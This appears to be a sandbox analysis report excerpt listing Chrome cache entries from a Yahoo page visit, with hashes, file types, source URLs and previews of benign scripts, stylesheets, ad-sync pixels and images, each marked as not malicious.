SHA-256:	2F561B02A49376E3679ACD5975E3790ABDFF09ECBADFA1E1858C7BA26E3FFCEF
SHA-512:	FD8B021F0236E487BFEE13BF8F0AE98760ABC492F7CA3023E292631979E135CB4CCB0C89B6234971B060AD72C0CA4474CBB5092C6C7A3255D81A54A36277B486
Malicious:	false
Reputation:	low
URL:	https://sync.crwdcntrl.net/qmap?c=240&tp=PUBM&tpid=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4&gdpr=0&gdpr_consent=
Preview:	GIF89a...................!.......,...........T..;

Chrome Cache Entry: 237

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1944
Entropy (8bit):	5.159975173294311
Encrypted:	false
SSDEEP:	48:DJGSdQMHbt/GSoQMHziE6v2RrUY2BL9FET76bQJz:DLzphv1YkbEjV
MD5:	2CE4C74B57AC265A4EF00AAC58C326B3
SHA1:	2879A6A1F5460D6AC85BB9A2FB7476F13B75D604
SHA-256:	18F2CBD6CD3F1C343886A1F9941CC03E2566D332AABF52C6DD0AA4F9C23EE5A9
SHA-512:	D9420EA415259A09721B86C97923F2F530EA83F4BC478C18D40FD49E2CA1848C99F5771D413B113E502762615D32B837F1412D0609D7BA000B63F4F7A7A83A6D
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/cv/apiv2/weather-svg/CLOUDY.svg
Preview:	<svg width="48" height="48" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">. <defs>. <linearGradient x1="64.278%" y1="100%" x2="64.278%" y2="1.351%" id="a">. <stop stop-color="#B5BDC8" offset="0%"/>. <stop stop-color="#C7CDD2" offset="21.044%"/>. <stop stop-color="#E5EBEF" offset="100%"/>. </linearGradient>. <linearGradient x1="23%" y1="50%" x2="138.819%" y2="27.995%" id="c">. <stop stop-opacity="0" offset="0%"/>. <stop stop-opacity=".5" offset="99.942%"/>. </linearGradient>. <linearGradient x1="64.278%" y1="100%" x2="64.278%" y2="1.351%" id="d">. <stop stop-color="#B5BDC8" offset="0%"/>. <stop stop-color="#C7CDD2" offset="21.044%"/>. <stop stop-color="#E5EBEF" offset="100%"/>. </linearGradient>. <path d="M19.494.014C14.29.167 10.005 4.299 9.393 9.349c-1.683-.306-3.52-.306-5.51.919a8.379 8.379 0 00-3.826 5.51c-.153 1.376 0 2.6.46 3.825.459 1.071 1.53 1.837 2.754 1.837h16.682c5.969 0 10.866-4.89

Chrome Cache Entry: 238

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (12433), with no line terminators
Category:	downloaded
Size (bytes):	12433
Entropy (8bit):	5.202182615598781
Encrypted:	false
SSDEEP:	384:3cmi6DAQ/946S4Y4+A09psvNYh8EhatYwQ:MTYxRY46psvNYh+Q
MD5:	9EC69A2055C595F415EADE096A476B0D
SHA1:	472B77037C2765E09666F43CCFBC01EF40783571
SHA-256:	4F06D94CB6038F42F5C8D59D369AB21C3C54643A544B0824582CB00EBB61DFB8
SHA-512:	EC87EFA9D26546AD67D9CB65932AF47D8FBA77D0298E1567E2A11DB679BE045C761C3A6ADC131CC44BDBC7D95C522982FA9EE9F221155BB1FD2E38864E25EC3D
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/aaq/wf/wf-toggle-1.15.4-modern.js
Preview:	!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("wafer-toggle",[],t):"object"==typeof exports?exports["wafer-toggle"]=t():(e.wafer=e.wafer\|\|{},e.wafer.wafers=e.wafer.wafers\|\|{},e.wafer.wafers["wafer-toggle"]=t())}("undefined"!=typeof self?self:this,function(){return function(e){function t(n){if(r[n])return r[n].exports;var o=r[n]={i:n,l:!1,exports:{}};return e[n].call(o.exports,o,o.exports,t),o.l=!0,o.exports}var r={};return t.m=e,t.c=r,t.d=function(e,r,n){t.o(e,r)\|\|Object.defineProperty(e,r,{configurable:!1,enumerable:!0,get:n})},t.n=function(e){var r=e&&e.__esModule?function(){return e.default}:function(){return e};return t.d(r,"a",r),r},t.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},t.p="https://s.yimg.com/aaq/wf/",t(t.s="./src/entry.js")}({"./src/entry.js":function(e,t,r){"use strict";function n(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}func

Chrome Cache Entry: 239

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3666), with no line terminators
Category:	downloaded
Size (bytes):	3666
Entropy (8bit):	5.122712688435668
Encrypted:	false
SSDEEP:	96:3hqjg8q1Mrsq1YrAw1Ld6UeCiyhq2WeptkcIL:3aumsu6AaLTc2en
MD5:	9FBA2531FFA6CB0B4D3D34C56C295495
SHA1:	0EC8BCC9D8F8360CB279D78F88BBEE001AB95D30
SHA-256:	C6D2343A147111E4F3881E468FACC72DA4582C6AAEFF475D3371DF3FA2576BEE
SHA-512:	BB6DC985ED5E343DB802BF07F7AF4A92BCB6788AA1F4ACBF61BB49DCFB2926C1E6CF6B1BC31544CBB98BD22D3688D2B220992CD9BED1F2E4FB43ADE8AE33F78E
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/aaq/wf/wf-bind-1.1.3-modern.js
Preview:	!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("wafer-bind",[],t):"object"==typeof exports?exports["wafer-bind"]=t():(e.wafer=e.wafer\|\|{},e.wafer.wafers=e.wafer.wafers\|\|{},e.wafer.wafers["wafer-bind"]=t())}("undefined"!=typeof self?self:this,function(){return function(e){function t(o){if(r[o])return r[o].exports;var n=r[o]={i:o,l:!1,exports:{}};return e[o].call(n.exports,n,n.exports,t),n.l=!0,n.exports}var r={};return t.m=e,t.c=r,t.d=function(e,r,o){t.o(e,r)\|\|Object.defineProperty(e,r,{configurable:!1,enumerable:!0,get:o})},t.n=function(e){var r=e&&e.__esModule?function(){return e.default}:function(){return e};return t.d(r,"a",r),r},t.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},t.p="https://s.yimg.com/aaq/wf/",t(t.s="./src/entry.js")}({"./src/entry.js":function(e,t,r){"use strict";function o(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function n

Chrome Cache Entry: 240

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (13714), with no line terminators
Category:	downloaded
Size (bytes):	13714
Entropy (8bit):	5.23465777657958
Encrypted:	false
SSDEEP:	384:3oEREi6qrvGmlR1IaKJoCmXK6Tb8JIFbXv00O8jp4f3tjf+88uLUH:4ER1XDlR1xVNXK6Tb8JknODjm88u4H
MD5:	94D07DAA349C254B35FFCDA6E54CC754
SHA1:	C46D6650E0F01C7F2977182F8FE5D5A07ABA9EE5
SHA-256:	0291E42C6C243B4177E0331B6E3692A8E03E29A39852790CE81604A998872C68
SHA-512:	8B3FEB7625D38BD50F22B838A14868D15EEBE1DFE6715A422B777A267585A1BAF9DE5982A29089C6BB7C0FC3DEAE8CE8B57F1BE851F78F1EECC9B625F08917CB
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/aaq/wf/wf-form-1.34.5-modern.js
Preview:	!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("wafer-form",[],t):"object"==typeof exports?exports["wafer-form"]=t():(e.wafer=e.wafer\|\|{},e.wafer.wafers=e.wafer.wafers\|\|{},e.wafer.wafers["wafer-form"]=t())}("undefined"!=typeof self?self:this,function(){return function(e){function t(r){if(n[r])return n[r].exports;var i=n[r]={i:r,l:!1,exports:{}};return e[r].call(i.exports,i,i.exports,t),i.l=!0,i.exports}var r=window.webpackJsonpwafer_wafers_wafer_form;window.webpackJsonpwafer_wafers_wafer_form=function(t,n,o){for(var a,s,u=0,l=[];u<t.length;u++)s=t[u],i[s]&&l.push(i[s][0]),i[s]=0;for(a in n)Object.prototype.hasOwnProperty.call(n,a)&&(e[a]=n[a]);for(r&&r(t,n,o);l.length;)l.shift()()};var n={},i={1:0,2:0};return t.e=function(e){function r(){s.onerror=s.onload=null,clearTimeout(u);var t=i[e];0!==t&&(t&&t[1](new Error("Loading chunk "+e+" failed.")),i[e]=void 0)}var n=i[e];if(0===n)return new Promise(function(

Chrome Cache Entry: 241

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (9999), with no line terminators
Category:	downloaded
Size (bytes):	9999
Entropy (8bit):	5.39841607872901
Encrypted:	false
SSDEEP:	192:eluv6qz171WxJIvNzJfhntvZcvfS2UeRJAiS/D7xZF7w:PvaxJIvNzb+jlOPxZF7w
MD5:	D4B11699644A1C52FC7555429A44100F
SHA1:	877CBC75CFE1C1F6F6F768EAB00A18E8FC441E16
SHA-256:	9424974C701A0075FEC9D64A86F6ED8C8B38F015C247EFBA7FABD12B7C542A50
SHA-512:	9299C1EA464726DF6BA5D6EE18F873FC45434C6732C115BBBEDE77965350992A26F5A0B8B0AA6E95235E8DBFBC39A9EC0B2678CA42966B05C8C6E16E27B21FCC
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/pv/static/ms/trendingNow.yhome-atomic.60573feacc990fc974a2277314a57836.min.css
Preview:	#atomic .Ai$c${align-items:center}#atomic .Bd$n$,.Bd$n${border:none}#atomic .Bdc$\$srchFujiDirtySeagull${border-color:#e0e4e9;border-color:var(--dirty-seagull,#e0e4e9)}#atomic .Bdc$t${border-color:transparent}#atomic .Bdendc$\#0057b8$\:\:b::before{border-right-color:#0057b8}#atomic .Bdendc$\$srchFujiHulkPants$\:\:b::before{border-right-color:#7e1fff;border-right-color:var(--hulk-pants,#7e1fff)}#atomic .Bdbc$\#5015b0${border-bottom-color:#5015b0}.srchTGBlackFri .srchTGBlackFri_Bdbc$\#000000${border-bottom-color:#000!important}.srchTGCyberMon .srchTGCyberMon_Bdbc$\#00873c${border-bottom-color:#00873c!important}#atomic .Bdstartc$\#7e1fff${border-left-color:#7e1fff}.srchTGBlackFri .srchTGBlackFri_Bdstartc$\#2c363f${border-left-color:#2c363f!important}.srchTGCyberMon .srchTGCyberMon_Bdstartc$\#009c94${border-left-color:#009c94!important}#atomic .Bds$s${border-style:solid}#atomic .Bdends$s$\:\:b::before{border-right-style:solid}#atomic .Bdw$1px${border-width:1

Chrome Cache Entry: 242

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
URL:	https://us-u.openx.net/w/1.0/sd?id=540245193&val=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4&gdpr=0&gdpr_consent=
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 243

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 50 x 50, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1607
Entropy (8bit):	7.823375754431375
Encrypted:	false
SSDEEP:	24:B5JTfuOX3sAUQTMmP0hEfxmLDQXTVYZMRdY05Ybw5SLG4P2yJ7SOl5J9+3izjWVP:VqOX3sAUQD0WaQbRd75Y1bJ7liSu7
MD5:	BD02F8B54D9F18DD175188C3C305A9A7
SHA1:	A8D47B75717ED1449CF31A78769B19BF558CB54E
SHA-256:	060B915CAFCA5492B9766FA579502FD6DB602935A37C06F8031E5242AD3B6D5C
SHA-512:	DEE3FB554F590304EC0762D4AF8E41B9C01EB8933FB4D4E9DB680E7DCE35DD84CE6C652D89C251735747AA855B7C7D4D3292581AF541F930CC9181527FAEE888
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/iu/api/res/1.2/cA2iZe.B78wjQSwfOu6Qhw--~B/YXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw/https://s.yimg.com/cv/apiv2/default/ncaab/20190108/500x500/loyola_maryland_wbg.png
Preview:	.PNG........IHDR...2...2......?......pHYs..........&.?....tIME.....66......IDATh...o.e...Y..'M.Y..4..$..BI...H.UBB.@.@.P.T.@....!!A..8 .D.-E. q.E.m..v.8.v.....%.g.33N.I..o.........cI.b?0.Hl.z].....(...W..m.x.aD.9_.c...q... '_6.....3.^.........o.>[0..w....V.+...p...-....f.y...~DA ..5o;.......#a.......;..u.../A..Z...[y...}..Azc..Y#Xu.I.1..h....U]S...R.c.u.....:...~.......TKn.T.....0@$.D....K9Q...wo2...%.HM-.....^.<.......yr.Mg~....Gv.X...hO.d...N...8XWK29...(n<..O.un..X.F.j?.(a....>...... ......b..>..wNrwb...K...r...!f.I.n...%......z{[:...~8..n....".P.\|...!PYRRL}]..=.C.".h...Y...p.Q.]S......>.h.....}y..aK -...$.0.....u.."./..C....%.L....fzf&.}...n...H'B.[.\.6........J..$.R./.... ....."y..tsE$.D.E...[.!K..y.>..N.Y}..k...ZD.^...n.7.g~i..>Rn5<..)[aw.......H.s........V...>LB.bG.y.H.b.x. .. I...E..(.+....5U-.E:.b...>...P.5[e..h...IG._..5..[.G.P.rP.[...^..M........5......=..p. .hE.e..7n-.4V..#.s#VT..dAA.....c{[$U...\...2.#.O...w..q-S....<d..S_m

Chrome Cache Entry: 244

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (15907), with no line terminators
Category:	downloaded
Size (bytes):	15907
Entropy (8bit):	5.514273213911923
Encrypted:	false
SSDEEP:	384:DnAJ01yJnUyOd1VxkZjhwq9+5yu85w+TINmNPvncM:jAJ00JnLOH4ZjhwDi2+0s9R
MD5:	AE79DB664406C9254F4F32DAF70C93AC
SHA1:	FAE0AE1FCEB99F996F315545F1C75EB04939B20C
SHA-256:	8E53E50181B7A9E2CAA94173C37FCD9DE8FA75750764A2AD8AD02FAC3306D652
SHA-512:	FBD5EC409CE57592EFF6BDFB2DF69C2414A79D84CB9B1BE5B6C5110985A0FF4D192B7D31160D9F14F3E3DBA21628129ECF9BC925597F968AC1CF6DF849346AF6
Malicious:	false
Reputation:	low
URL:	https://ads.pubmatic.com/AdServer/js/user_sync.html?p=159463&userIdMacro=PM_UID&predirect=https%3A%2F%2Fcontextual.media.net%2Fcksync.php%3Fcs%3D8%26vsid%3D3479308330180239000V10%26type%3Dpba%26refUrl%3D%26vid%3D49292354493479308330180239000V10%26axid_e%3D%26ovsid%3DPM_UID
Preview:	<html><body><script type="text/javascript">(function(){var aa=window,p=navigator,aj=aa.top\|\|aa,ak=aa.location.search.substr(1),A=encodeURIComponent,W=decodeURIComponent,aA=aa.parseInt,P=aa.PubMatic\|\|(aa.PubMatic={}),K=0,ad=0,b=0,ap="pubmatic.com",V="ads."+ap,am=1,Q="https://",a=(aa.__cmp?1:0),ao=function(aF){return typeof aF==="function"},av=console.log.bind(console,"PubMatic:"),au=function(aJ,aI){var aG=0,aF=aJ.length,aH=false;for(;aG<aF;aG++){if(aJ[aG]===aI){aH=true;break}}return aH},n=function(aF,aI){var aH=aa.document.createElement("script");aH.type="text/javascript";aH.src=aF;aH.async=true;if(ao(aI)){aH.onload=aH.onreadystatechange=aI}var aG=aa.document.getElementsByTagName("script")[0];aG&&aG.parentNode&&ao(aG.parentNode.appendChild)&&aG.parentNode.appendChild(aH)},ar=function(aH){var aG=aa.document.createElement("iframe");aG.src=aH;aG.style.height="0px";aG.style.width="0px";aG.style.display="none";aG.height=0;aG.width=0;aG.border="0px";aG.hspace="0";aG.vspace="0";aG.marginWidth=

Chrome Cache Entry: 245

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 268x142, components 3
Category:	dropped
Size (bytes):	14894
Entropy (8bit):	7.965080922083376
Encrypted:	false
SSDEEP:	384:tKlxa+X2RMDtevRe901dqYYHtnSl1ozBOGGpZf/QG:tK2DMKI94oSl+UdZf/QG
MD5:	A183BAA34752C1B3ACED7C7CACB8442D
SHA1:	AE9847A4E3F4CAED3CB5C49F349C8C6DE3B7AF49
SHA-256:	A665932EBA4B9BBDC8C0474A801E70081C4BEF38049D2B86421DD83ECA2901D3
SHA-512:	D1564090129D370EA7FA49671F656ABC8E04C639B53BD0559FEC5B5F04865254E6D7744E937039B57276A0B4FEAFEAB2FD44266F3937DD4D5EA458B85BC573E1
Malicious:	false
Reputation:	low
Preview:	......JFIF.............C....................................................................C......................................................................................................................C.........................!..1A..Qa"q...2B...R..#...35Cb..$Scr.%..................................+..........................!"12A.#BQ3a.R.q............?.?T.{.......=3S"l\|...~.s...p.c.j.p....^.p......(..a...'.P.I.n3F....+}...iM.Ap..jq\.........85..95+.~..../..sti:^......d..n1..........&.....-.W..'.L.q.=3.."..{..(8=..}2.M......4.......L...n...r.M!m8.G.H....~.xy..hj..t....j%..X.n.a...6..)....b....E[.....=BB.....n6+.i....a...../.g.n.;%....r.jx..... L:G.._..+?.P..x..w5l...O.l..UI.....z...du57!.....bA23T!.PH;....../....8chr...Di..Fy.Y.JF....'.H...7.-..6.N:.......;....z:ilb;......[.%].5.1........R...94_._.;......I]..QZ..,...@#....F..Fr...hl./"...R..@........c.w..7.5~.C....6..q..#......FVP.>iV.=..{..'..5r...C._z..1Q.O....u'l..A"T.9..j.,BaJc%...>S...\|.

Chrome Cache Entry: 246

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (16798), with no line terminators
Category:	downloaded
Size (bytes):	16798
Entropy (8bit):	5.223409253489215
Encrypted:	false
SSDEEP:	384:3+Ec6BG/PFvVHWahu22YXGjDmgTkgcpUh1HswyjIkr8EAe:OD+ipVHWa1c/TIUYjINe
MD5:	F085D6C42ACB1394E457E463230DE8BA
SHA1:	DEACA09E50FB2D08C90F07CC588A8B1B4C191732
SHA-256:	F2C2013A67C8DD205E93EF40CF60DA7B3BB48A075E7B649FDE2B2F646B15896F
SHA-512:	029FDDCBD993E68E25B470D316CC94EF513AC536AB70C39F5B6920B6BEF6398F3BF77DD5F6067441337068566F1DCF408CDEC28DC22E03256E634AF644322875
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/aaq/wf/wf-fetch-1.19.1-modern.js
Preview:	!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("wafer-fetch",[],t):"object"==typeof exports?exports["wafer-fetch"]=t():(e.wafer=e.wafer\|\|{},e.wafer.wafers=e.wafer.wafers\|\|{},e.wafer.wafers["wafer-fetch"]=t())}("undefined"!=typeof self?self:this,function(){return function(e){function t(n){if(r[n])return r[n].exports;var i=r[n]={i:n,l:!1,exports:{}};return e[n].call(i.exports,i,i.exports,t),i.l=!0,i.exports}var r={};return t.m=e,t.c=r,t.d=function(e,r,n){t.o(e,r)\|\|Object.defineProperty(e,r,{configurable:!1,enumerable:!0,get:n})},t.n=function(e){var r=e&&e.__esModule?function(){return e.default}:function(){return e};return t.d(r,"a",r),r},t.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},t.p="https://s.yimg.com/aaq/wf/",t(t.s="./src/entry.js")}({"./src/entry.js":function(e,t,r){"use strict";function n(e,t){var r={};for(var n in e)t.indexOf(n)>=0\|\|Object.prototype.hasOwnProperty.call(e,n)&&(

Chrome Cache Entry: 247

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1784
Entropy (8bit):	4.640964665729478
Encrypted:	false
SSDEEP:	48:TtT4eQ7M0Vk677M0Kk6+7r10Sk6H72X10ak/7e0kk7Z:5TNQ7nVb7nKe7rKSn72KaC75k2Z
MD5:	877792D86D801176269A36AC7B4E6E02
SHA1:	AFDBAD37D52084701E3E299D1F95AD7478B466A9
SHA-256:	5CB2B348029A5C8CAD5342D73F5F78AC09AD0CF6EBDE80B5A1ED069F08332DDC
SHA-512:	0FA0A811BFEF6D83808022369BF9462EB57FB06F5E6B4672F313AAC04D2C85A5CB6A55A9D0F7359E608E6ECD90925E3F77784700882E3F5F93ADBD5FC22D6A3D
Malicious:	false
Reputation:	low
Preview:	{. "expCount":5,. "selection":"individual",. "uploadType":"group",. "runProb":10,. "expList":[. {. "name":"vpixiea",. "beaconRegex":"^https:\/\/v-([^.]).wc.yahoodns.net\/i.gif",. "target":"https://v-a<RAND>.wc.yahoodns.net/i.gif",. "trials":1,. "uploadEndpoints":["https://ybar-<BEACON>report.wc.yahoodns.net/cs/"], . "timeout":5000. },. {. "name":"vpixieb",. "beaconRegex":"^https:\/\/v-([^.]).wc.yahoodns.net\/i.gif",. "target":"https://v-b<RAND>.wc.yahoodns.net/i.gif",. "trials":1,. "uploadEndpoints":["https://ybar-<BEACON>report.wc.yahoodns.net/cs/"],. "timeout":5000. },. {. "name":"vpixiec",. "beaconRegex":"^https:\/\/v-([^.]*).wc.yahoodns.net\/pixel.gif",. "target":"https://v-c<RAND>.wc.yahoodns.net/pixel.gif",. "trials":1,. "uploadEndpoints":["http

Chrome Cache Entry: 248

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (45139)
Category:	downloaded
Size (bytes):	45182
Entropy (8bit):	5.298661702153553
Encrypted:	false
SSDEEP:	768:oD7JaxoEtTjILr7alS3OEINJa9NaaVpsCaLNLoV957TAzRd9Wfx77Us+1NVWB5v5:qRI9VF1DiwLjb80G
MD5:	CA4BC6635B951C8514AADD1F834A61EF
SHA1:	154A6D7047CC0669398F527097AE1E78F850AE3A
SHA-256:	F441E790B2EB42A57ED4DF0C89D97AE0D09CC28D32C9272102EFE1C3364683E8
SHA-512:	3DCC741867FF30DBBAD93AB0F7C45F051B5F3047CA7B1F48AFE192F8F1AF4167EA75BD1E80339FA2F0A8E199D389FAB4A52E737E9772273B2C62C0EF01624195
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/aaq/benji/benji-1.0.123.js
Preview:	!function(){"use strict";const e="undefined"!=typeof window?window:{benji:{},googletag:{cmd:[]},YAHOO:{}};["localhost","aol.com","aol.co.uk","aol.de","autoblog.com","cricket.yahoo.sportz.io","engadget.com","yahoo.com","yahoo.com.hk","yahoo.com.tw"].map((e=>`([\\.\\w\\-]+\\.)?${e.replace(/\./g,"\\.")}`)),["cricket.yahoo.net"].map((e=>e.replace(/\./g,"\\.")));const t="initialize",i="initialize_ack",s="initialize_i13n",n="intersect",o="render",r="resize_ad",a="start_ads",c="tab_focus",d="index",l=!0,h="bucket",g="cobrand",u="hashtag",f="lang",p="0",m="testid",b="ncid",y="fr",v="pg_name",_="type",E="benji-premium-ad",C="collapse",S="abp",A="other";var I,w;!function(e){e.DynamicAllocation="Dynamic Allocation",e.DirectSold="Direct Sold"}(I\|\|(I={})),function(e){e.AdTech="Ad Tech",e.House="House",e.AdX="AdX",e.Unknown="Unknown"}(w\|\|(w={}));const k={Horizon:{breakpoints:{"0,480":[16,9],"1331,Infinity":[16,3],"481,1330":[40,9]},size:[3,1]},Lighthouse:{breakpoints:{"0,Infinity":[9,16]},size:[2,2]

Chrome Cache Entry: 249

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	downloaded
Size (bytes):	85139
Entropy (8bit):	5.3736866971496955
Encrypted:	false
SSDEEP:	1536:KF/Q7U4Suq7XZw+VIHmNLZWgsowiAppgiw6FgP0b:KxQ7N5jh
MD5:	8B3E7199261258640A1EF846D809C8FE
SHA1:	FBC6A6DBE308410E044D7290093A772F19083FE6
SHA-256:	C8DE53891633ECC5CB4CB6615E90AF1358E813ADED05D534A5E6060476DF3A2A
SHA-512:	BED0E750ADA9C472F3761EEAE44DE39A805DA33E6FCA76F594367C653FA7F0F4DF09D3E12860C1BA8AD88C00543E9051F70CB5DABFEFC637302A2BFBC3171562
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/oa/consent.js
Preview:	/! For license information please see consent.js.LICENSE.txt /.!function(){var e={6848:function(e,n,t){var o,i,s;!function(a){"use strict";if(null!=n&&"number"!=typeof n.nodeType)e.exports=a();else if(null!=t.amdO)i=[],void 0===(s="function"==typeof(o=a)?o.apply(n,i):o)\|\|(e.exports=s);else{var r=a(),c="undefined"!=typeof self?self:$.global;"function"!=typeof c.btoa&&(c.btoa=r.btoa),"function"!=typeof c.atob&&(c.atob=r.atob)}}((function(){"use strict";var e="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";function n(e){this.message=e}return n.prototype=new Error,n.prototype.name="InvalidCharacterError",{btoa:function(t){for(var o,i,s=String(t),a=0,r=e,c="";s.charAt(0\|a)\|\|(r="=",a%1);c+=r.charAt(63&o>>8-a%1*8)){if((i=s.charCodeAt(a+=3/4))>255)throw new n("'btoa' failed: The string to be encoded contains characters outside of the Latin1 range.");o=o<<8\|i}return c},atob:function(t){var o=String(t).replace(/[=]+$/,"");if(o.length%4==1)throw new n("'atob' failed: The str

Chrome Cache Entry: 250

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	68
Entropy (8bit):	4.403590365002627
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tJ8/V+/B6dS8p:6v/lhPfA/UJ63p
MD5:	EDB2AA47631C67A43709D4CCD2501E33
SHA1:	87475B448C53CF32FFE78AB121DB8BAB41D478E0
SHA-256:	6019C3C9E47DC991F8D9937DEAFBB0740C2E61E321324798CB508773B0814824
SHA-512:	65820EEAF261F01988570AFE7866D9B83901950DFBD89542009A1FAAAE520E1AF2FA08789B7E94A64B0E1A3BDC39256354EFE1D38856621851DD65E80505DBB2
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.....................IDATx.c........o.......IEND.B`.

Chrome Cache Entry: 251

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (27842), with no line terminators
Category:	downloaded
Size (bytes):	27842
Entropy (8bit):	5.287521343960781
Encrypted:	false
SSDEEP:	768:R+em7uBvK++e8E/VhAM635SQNXz7eoEY/TiyEEpmyfY2YdHz:cuBC++e8E/VhAM635SQNXzKbY/TYYg
MD5:	F9C3FD700F5C2DBB03768BF662C39211
SHA1:	AFBB662A9566C42FD7885C40A342428F6CAF6F0D
SHA-256:	FD9675D041AA9E86D2435708A030C1D0D96E1074B5D7B584A82684348B2AD592
SHA-512:	CB746F2429D04EAE3CF19436C04634924A261F41304BE8CB3606570DDD3C3D87D7CA25823BB92267AAB829C35FF26041B7A662D9D8EBDD6F39666F28A61DF154
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/aaq/wf/wf-caas-1.35.4-modern.js
Preview:	!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("wafer-caas",[],t):"object"==typeof exports?exports["wafer-caas"]=t():(e.wafer=e.wafer\|\|{},e.wafer.wafers=e.wafer.wafers\|\|{},e.wafer.wafers["wafer-caas"]=t())}("undefined"!=typeof self?self:this,function(){return function(e){function t(r){if(a[r])return a[r].exports;var i=a[r]={i:r,l:!1,exports:{}};return e[r].call(i.exports,i,i.exports,t),i.l=!0,i.exports}var a={};return t.m=e,t.c=a,t.d=function(e,a,r){t.o(e,a)\|\|Object.defineProperty(e,a,{configurable:!1,enumerable:!0,get:r})},t.n=function(e){var a=e&&e.__esModule?function(){return e.default}:function(){return e};return t.d(a,"a",a),a},t.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},t.p="https://s.yimg.com/aaq/wf/",t(t.s="./src/entry.js")}({"./src/entry.js":function(e,t,a){"use strict";function r(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function i

Chrome Cache Entry: 252

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (29594), with no line terminators
Category:	downloaded
Size (bytes):	29594
Entropy (8bit):	5.176931694017593
Encrypted:	false
SSDEEP:	768:U9ohsHpxsgDD9G9uiQ9xYBEgH5CDE486Cfiniln7dB1Qg7Nx6/SRRzLC78eA1bOr:U4gDRNgtmSiniln7dB1QSm
MD5:	AD4B4808C249D200DF8BCDB043AC4611
SHA1:	80F6F690F592E8E1975CB27B9281B6F49FA81C66
SHA-256:	117A49648BFB149AE0636D4C6397DADBE8AAAB4EE5BB8A35DB9318379B7F6CA2
SHA-512:	BD1124DD9EADDB5B10AAF23C4D270C06A4FF98C15542F38D7C878EE7DD4947EC42FB54838A5B8E2F3C5D80B0086503CE16BBB157F630C517998EA1646C05234E
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/aaq/wf/wf-autocomplete-1.31.8-modern.js
